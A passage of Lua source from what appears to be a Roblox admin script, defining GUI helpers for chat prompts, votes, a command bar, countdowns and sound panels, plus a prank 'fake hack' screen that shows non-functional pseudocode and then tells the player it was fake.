  4762. function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
  4763.     if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  4764.     local Stopped = false
  4765.    
  4766.     local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
  4767.     Frame.Size = UDim2.new(1, 0, 1, -30)
  4768.     Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
  4769.    
  4770.     local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
  4771.     local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
  4772.     local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
  4773.    
  4774.     local function AddLine(Speaker, MessageText, MessageColor)
  4775.         MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
  4776.         if MessageColor == true then MessageColor = Color3.new(1,0,0) end
  4777.         if not MessageColor then MessageColor = GUI:ContrastColor() end
  4778.         local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
  4779.         local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
  4780.         local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
  4781.         Bounds.Parent = Frame
  4782.     end
  4783.    
  4784.     local RPR = CORE:CreateRemotePropertyReader(ChatBox)
  4785.    
  4786.     local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
  4787.     local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
  4788.     local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
  4789.    
  4790.     local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
  4791.     local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
  4792.    
  4793.     CORE:ExecuteResource("MessagePromptHandler", Frame)
  4794.    
  4795.     wait(0.1)
  4796.    
  4797.     if PreAdd then
  4798.         for Num,Add in pairs(PreAdd) do
  4799.             AddLine(Add[1], Add[2], Add[3])
  4800.         end
  4801.     end
  4802.    
  4803.     --[[
  4804.     CORE:ExecuteResource("ChatBoxLocal", ChatBox)
  4805.    
  4806.     CORE:HandleEvent(ChatBox, "MouseEnter", function()
  4807.         if ChatBox.Text == "Click here or press the '-' key" then
  4808.             ChatBox.Text = ""
  4809.         end
  4810.     end)
  4811.     ]]
  4812.    
  4813.     local function FireSendPressed()
  4814.         local Text = CORE:ReadProperty(RPR, Player, "Text")
  4815.         if Text ~= "" and Text ~= "Click here or press the '-' key" then
  4816.             SendPressed:Fire(Text)
  4817.             FakeCB.Visible = true
  4818.             ClearCB:InvokeClient(Player)
  4819.         end
  4820.     end
  4821.    
  4822.     Closed.Event:connect(function()
  4823.         if Stopped == false then
  4824.             Stopped = true
  4825.             if SpeakerEvents then SpeakerEvents("Leave") end
  4826.         end
  4827.     end)
  4828.    
  4829.     CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
  4830.     EnterPressed.OnServerInvoke = FireSendPressed
  4831.     AddMessage.OnInvoke = AddLine
  4832.    
  4833.     if SpeakerEvents then
  4834.         SpeakerEvents("Join")
  4835.    
  4836.         coroutine.wrap(function()
  4837.             repeat wait() until not Frame or not Frame.Parent
  4838.             if Stopped == false then
  4839.                 Stopped = true
  4840.                 SpeakerEvents("Leave")
  4841.             end
  4842.         end)()
  4843.     end
  4844.    
  4845.     return SendPressed, AddMessage
  4846. end
  4847.  
  4848. function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
  4849.     if tonumber(Time) then ShowFormButtons = false end
  4850.     if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
  4851.     local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
  4852.     local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
  4853.     local Clicked = nil
  4854.     local Alive = true
  4855.    
  4856.     local function ClosePrompt(ButtonName)
  4857.         Alive = false
  4858.         Close:Invoke()
  4859.         Clicked = ButtonName
  4860.     end
  4861.    
  4862.     for Num,Select in pairs(Buttons) do
  4863.         local Name = Select
  4864.         local Style = "White"
  4865.         local TextColor3 = Color3.new(0,0,0)
  4866.         if type(Select) == "table" then
  4867.             Name = Select[1]
  4868.             if Select[2] then Style = Select[2] end
  4869.             if Select[3] then TextColor3 = Select[3] end
  4870.         elseif type(Select) == "string" then
  4871.             local Case = string.lower(Select)
  4872.             if Case == "ok" then
  4873.                 Name = "Ok"
  4874.                 Style = "Primary"
  4875.                 TextColor3 = Color3.new(1,1,1)
  4876.             elseif Case == "yes" then
  4877.                 Name = "Yes"
  4878.                 Style = "Gray"
  4879.                 TextColor3 = Color3.new(0,1,0)
  4880.             elseif Case == "no" then
  4881.                 Name = "No"
  4882.                 Style = "Red"
  4883.                 TextColor3 = Color3.new(1,0,0)
  4884.             end
  4885.         end
  4886.        
  4887.         if Style == "None" then Style = "Custom" end
  4888.         if Style == "Casual" then Style = "RobloxButton" end
  4889.         if Style == "Red" then Style = "RobloxButtonDefault" end
  4890.         if Style == "Gray" then Style = "RobloxRoundButton" end
  4891.         if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
  4892.         if Style == "White" then Style = "RobloxRoundDropdownButton" end
  4893.        
  4894.         local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
  4895.         CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
  4896.         SOUND:BindButton(Button)
  4897.     end
  4898.    
  4899.     if tonumber(Time) then
  4900.         local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
  4901.         Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
  4902.         Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
  4903.        
  4904.         for i = Time,0,-1 do
  4905.             for ii = 1,10 do
  4906.                 if Alive == true then
  4907.                     Ticker.Text = i
  4908.                     wait(0.1)
  4909.                 else
  4910.                     break
  4911.                 end
  4912.             end
  4913.         end
  4914.         if Alive == true then
  4915.             ClosePrompt()
  4916.         end
  4917.     end
  4918.    
  4919.     repeat wait() until Alive == false
  4920.     return Clicked
  4921. end
  4922.  
  4923. function GUI:Vote(Speaker, Players, Text, Time)
  4924.     if not Players or not Text or #Players <= 0 then return end
  4925.    
  4926.     local Votes = {}
  4927.     local Tick = 0
  4928.    
  4929.     for _,Player in pairs(Players) do
  4930.         local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
  4931.         local CanVote = true
  4932.         if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
  4933.         if CanVote == true then
  4934.             coroutine.wrap(function()
  4935.                 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
  4936.                 if Answer == nil then Answer = "Unknown" end
  4937.                 table.insert(Votes, Answer)
  4938.             end)()
  4939.         end
  4940.     end
  4941.     repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
  4942.     wait(2)
  4943.     if Speaker and Speaker:FindFirstChild("PlayerGui") then
  4944.         local Total = #Players
  4945.         local Yes,No,Unknown = 0,0,0
  4946.         for _,Vote in pairs(Votes) do
  4947.             if Vote == "Yes" then Yes = Yes + 1
  4948.             elseif Vote == "No" then No = No + 1
  4949.             end
  4950.         end
  4951.         Unknown = #Players - #Votes
  4952.        
  4953.         local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
  4954.         local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
  4955.         local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
  4956. ]]..Yes.."/"..Total..[[
  4957. ]]..math.ceil((Yes/Total)*100).."% "
  4958.         local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
  4959. ]]..No.."/"..Total..[[
  4960. ]]..math.ceil((No/Total)*100).."% "
  4961.         local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
  4962. ]]..Unknown.."/"..Total..[[
  4963. ]]..math.ceil((Unknown/Total)*100).."% "
  4964.     end
  4965. end
  4966.  
  4967. --GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
  4968.  
  4969. function GUI:LoadGui(Player, Text, InfoText)
  4970.     if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  4971.     local Dead = false
  4972.    
  4973.     local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
  4974.     local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
  4975.     local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
  4976.     local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
  4977.     if InfoText then Info.Text = InfoText end
  4978.    
  4979.     local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
  4980.     local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
  4981.    
  4982.     CloseGui.OnInvoke = function()
  4983.         Close:Invoke()
  4984.         Dead = true
  4985.     end
  4986.     AddInfo.OnInvoke = function(AddText)
  4987.         Info.Text = AddText
  4988.     end
  4989.    
  4990.     coroutine.wrap(function()
  4991.         for i = 0,math.huge,3 do
  4992.             if Dead == false and Frame then
  4993.                 WaitIcon.Rotation = i
  4994.                 wait()
  4995.             else
  4996.                 break
  4997.             end
  4998.         end
  4999.     end)()
  5000.    
  5001.     coroutine.wrap(function()
  5002.         while Dead == false and Frame do
  5003.             wait(0.5)
  5004.             LoadLabel.Text = Text.."."
  5005.             wait(0.5)
  5006.             LoadLabel.Text = Text..".."
  5007.             wait(0.5)
  5008.             LoadLabel.Text = Text.."..."
  5009.             wait(0.5)
  5010.             LoadLabel.Text = Text..".."
  5011.             wait(0.5)
  5012.             LoadLabel.Text = Text.."."
  5013.             wait(0.5)
  5014.             LoadLabel.Text = Text
  5015.         end
  5016.     end)()
  5017.    
  5018.     wait(1)
  5019.    
  5020.     return CloseGui, AddInfo
  5021. end
  5022.  
  5023. function GUI:FakeHack(Player) coroutine.wrap(function()
  5024.     if not Player or not Player:FindFirstChild("PlayerGui") then return end
  5025.     local FakeText = [[
  5026. >SHELL: BEGIN
  5027. >RUNCODE:
  5028. return {
  5029.     local Hack = {"Account", "Tix", "Robux"};
  5030.     function Start(Type, Inject, Scan)
  5031.         if not Inject then Inject = "In-Game" end
  5032.         return {Type, Inject, Scan}
  5033.     end
  5034.     for Exe,Exploit in pairs(Hack) do
  5035.         local IP = Start("In-Game",Exploit,
  5036.             BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
  5037.             {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
  5038.         )
  5039.         Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
  5040.         for i = 1,#Injection[2] do
  5041.             Log("PlayerData", "ConnectHost", "PLAYERNAME")
  5042.         end
  5043.         local PlayerProxy = newproxy(true)
  5044.         setmetatable(PlayerProxy,Injection[3],{
  5045.             __index = function(StealData, ...) local Data = unpack(...)
  5046.                 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
  5047.             end;
  5048.         })
  5049.     end
  5050.     Log("HACKED HOST: PLAYERNAME")
  5051. }
  5052. >HACKED HOST: PLAYERNAME
  5053.  
  5054. ]]
  5055.     local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
  5056.     if SG then SG:Destroy() end
  5057.     SG = Instance.new("ScreenGui", Player.PlayerGui)
  5058.     SG.Name = "MML Hack Gui"
  5059.     local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
  5060.     local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
  5061.     local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
  5062.     for i = 1,#FakeText do
  5063.         HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
  5064.         if math.random(1,5) == 1 then
  5065.             wait()
  5066.         end
  5067.     end
  5068.     HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
  5069.     wait(3)
  5070.     HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
  5071. fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
  5072.     X.Visible = true
  5073. end)() end
  5074.  
  5075. function GUI:CommandBar(Player)
  5076.     if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  5077.    
  5078.     local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
  5079.     local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
  5080.     local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
  5081.     local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
  5082.    
  5083.     local _,Rank = RANK:GetRank(Player)
  5084.     local UsableCommands = {}
  5085.     for CommandNames,Data in pairs(Commands) do
  5086.         if not Data.Hidden then
  5087.             if RANK:ConvertRank(Data[4]) <= Rank then
  5088.                 for _,Command in pairs(CommandNames) do
  5089.                     table.insert(UsableCommands, {Command, Data[3]})
  5090.                 end
  5091.             end
  5092.         end
  5093.     end
  5094.    
  5095.     local RPR = CORE:CreateRemotePropertyReader(CommandBox)
  5096.    
  5097.     local function ExecuteText()
  5098.         local Text = CORE:ReadProperty(RPR, Player, "Text")
  5099.         CORE:Chatted(Text, Player, true)
  5100.         CommandBox.Text = "Enter a command here"
  5101.     end
  5102.    
  5103.     local function AddSuggestion(Text)
  5104.         if Text == nil then Text = Settings.Prefix end
  5105.         local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
  5106.         Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
  5107.         CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
  5108.             if Text == Settings.Prefix then
  5109.                 CommandBox.Text = Settings.Prefix
  5110.             else
  5111.                 CommandBox.Text = Settings.Prefix..Text
  5112.             end
  5113.             CORE:ExecuteResource("Focus", CommandBox)
  5114.         end, true)
  5115.     end
  5116.    
  5117.     CORE:HandleEvent(CommandBox, "MouseEnter", function()
  5118.         if CommandBox.Text == "Enter a command here" then
  5119.             CommandBox.Text = ""
  5120.         end
  5121.     end)
  5122.    
  5123.     local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
  5124.     CORE:ExecuteResource("ChatBoxLocal", CommandBox)
  5125.    
  5126.     CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
  5127.     EnterPressed.OnServerInvoke = ExecuteText
  5128.    
  5129.     CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
  5130.         Suggest.CanvasSize = UDim2.new(0,0,0,0)
  5131.         Suggest:ClearAllChildren()
  5132.         local Text = CORE:ReadProperty(RPR, Player, "Text")
  5133.         if Text == "" then
  5134.             AddSuggestion(Settings.Prefix)
  5135.         end
  5136.        
  5137.         if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
  5138.             Text = string.sub(Text,#Settings.Prefix+1)
  5139.         end
  5140.         for _,Data in pairs(UsableCommands) do
  5141.             local Command,Args = Data[1],Data[2]
  5142.             if string.find(string.lower(Command),string.lower(Text)) then
  5143.                 local NewSuggestion = Command
  5144.                 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
  5145.                 AddSuggestion(NewSuggestion)
  5146.             end
  5147.         end
  5148.        
  5149.     end end)
  5150. end
  5151.  
  5152. function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
  5153.     if not Player or not AllSeconds then return nil end
  5154.     AllSeconds = tonumber(AllSeconds)
  5155.     local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
  5156.     AllSeconds = math.floor(AllSeconds)
  5157.     if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
  5158.     local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
  5159.     local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
  5160.     local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
  5161.     local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
  5162.     local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
  5163.    
  5164.     local CurrentSeconds = AllSeconds
  5165.     local Alive = true
  5166.     coroutine.wrap(function() for i = 0,AllSeconds do
  5167.         if not Alive then break end
  5168.         local Seconds = tostring(math.fmod(CurrentSeconds,60))
  5169.         local Minutes = tostring(math.floor(CurrentSeconds/60))
  5170.         if #Seconds == 1 then Seconds = "0"..Seconds end
  5171.         if #Minutes == 1 then Minutes = "0"..Minutes end
  5172.         Time.Text = Minutes..":"..Seconds
  5173.         wait(1)
  5174.         if CurrentSeconds <= 0 then
  5175.             Alarm:Play()
  5176.             Time.Text = "00:00"
  5177.             Part.Size = UDim2.new(1,0,1,0)
  5178.             Restore:Invoke()
  5179.             wait(4)
  5180.             Close:Invoke()
  5181.             break
  5182.         else
  5183.             Tick:Play()
  5184.             Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
  5185.             CurrentSeconds = CurrentSeconds - 1
  5186.         end
  5187.     end end)()
  5188.    
  5189.     Closed.Event:connect(function()
  5190.         if Alive == true then
  5191.             Alive = false
  5192.             Tick:Stop()
  5193.             Alarm:Stop()
  5194.         end
  5195.     end)
  5196. end)() end
  5197.  
  5198. function GUI:DetachChat(Player)
  5199.     if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  5200.     if Player:FindFirstChild("DetachChatMML") then
  5201.         Player.DetachChatMML:Invoke(true)
  5202.         wait()
  5203.         Player.DetachChatMML:Destroy()
  5204.     end
  5205.    
  5206.     local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
  5207.     local SG = Frame.Parent.Parent.Parent
  5208.    
  5209.     local DCBF = Instance.new("BindableFunction", Player)
  5210.     DCBF.Name = "DetachChatMML"
  5211.     DCBF.OnInvoke = function(Remove)
  5212.         if Remove then
  5213.             SG:Destroy()
  5214.         end
  5215.     end
  5216.     CORE:ExecuteResource("CoreChat", SG)
  5217.    
  5218.     local IsClosed = false
  5219.     Closed.Event:connect(function()
  5220.         CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
  5221.         IsClosed = true
  5222.     end)
  5223.    
  5224.     coroutine.wrap(function()
  5225.         Player.CharacterRemoving:wait()
  5226.         if not IsClosed then
  5227.             IsClosed = true
  5228.             wait(1)
  5229.             CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
  5230.         end
  5231.     end)()
  5232. end
  5233.  
  5234. function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
  5235.     if not Player then return nil end
  5236.     if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
  5237.     Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
  5238.    
  5239.     Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
  5240. end)() end
  5241.  
  5242. function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
  5243.     if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  5244.     if not SoundID then SoundID = SoundInfo["ID"] end
  5245.     if not TitleText then TitleText = SoundInfo["Name"] end
  5246.     if not CreatorText then CreatorText = SoundInfo["Creator"] end
  5247.     if not InputSound then InputSound = Sound end
  5248.    
  5249.     local NumSounds = 0
  5250.     for _,SG in pairs(Player.PlayerGui:GetChildren()) do
  5251.         if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
  5252.             NumSounds = NumSounds + 1
  5253.         end
  5254.     end
  5255.    
  5256.     local Size = UDim2.new(0.1, 100, 0.1, 100)
  5257.     local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
  5258.     Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
  5259.    
  5260.     local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
  5261.     local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
  5262.     local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
  5263.     local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
  5264.     local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
  5265.     local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
  5266.     local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
  5267.    
